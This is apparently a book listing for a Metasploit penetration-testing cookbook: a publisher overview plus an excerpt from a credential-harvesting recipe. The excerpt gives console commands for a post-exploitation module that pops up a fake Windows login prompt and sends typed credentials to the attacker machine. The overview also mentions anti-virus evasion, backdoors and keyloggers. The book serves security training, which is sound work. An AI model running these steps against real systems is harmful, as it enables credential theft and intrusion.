Metasploit Penetration Testing Cookbook - Third Edition

By: Daniel Teixeira, Abhinav Singh, Nipun Jaswal, Monika Agarwal

Overview of this book

Metasploit is the world's leading penetration testing tool and helps security and IT professionals find, exploit, and validate vulnerabilities. Metasploit allows penetration testing automation, password auditing, web application scanning, social engineering, post exploitation, evidence collection, and reporting. Metasploit's integration with InsightVM (or Nexpose), Nessus, OpenVas, and other vulnerability scanners provides a validation solution that simplifies vulnerability prioritization and remediation reporting. Teams can collaborate in Metasploit and present their findings in consolidated reports. In this book, you will go through great recipes that will allow you to start using Metasploit effectively. With an ever increasing level of complexity, and covering everything from the fundamentals to more advanced features in Metasploit, this book is not just for beginners but also for professionals keen to master this awesome tool. You will begin by building your lab environment, setting up Metasploit, and learning how to perform intelligence gathering, threat modeling, vulnerability analysis, exploitation, and post exploitation—all inside Metasploit. You will learn how to create and customize payloads to evade anti-virus software and bypass an organization's defenses, exploit server vulnerabilities, attack client systems, compromise mobile phones, automate post exploitation, install backdoors, run keyloggers, highjack webcams, port public exploits to the framework, create your own modules, and much more.

Credential harvesting


During a penetration test, we are not always getting sessions with system or even administrator privileges; most of the time, we will end up with a session from a successful phish which is running with user privileges. That is when credential harvesting comes to our rescue. With credential harvesting, we will try to perform a phishing attack on the target to harvest usernames, passwords, and hashes that can be used to further compromise the organization.

How to do it...

To harvest credentials, we will use the Windows Gather User Credentials post-exploitation module with which we are able to perform a phishing attack on the target by popping up a login prompt.

  1. When the user types his/her credentials into the login prompt, they will be sent to our attacker machine:
msf > use post/windows/gather/phish_windows_credentials
msf post(phish_windows_credentials) > set SESSION 1
SESSION => 1
msf post(phish_windows_credentials) > run

[+] PowerShell is installed.
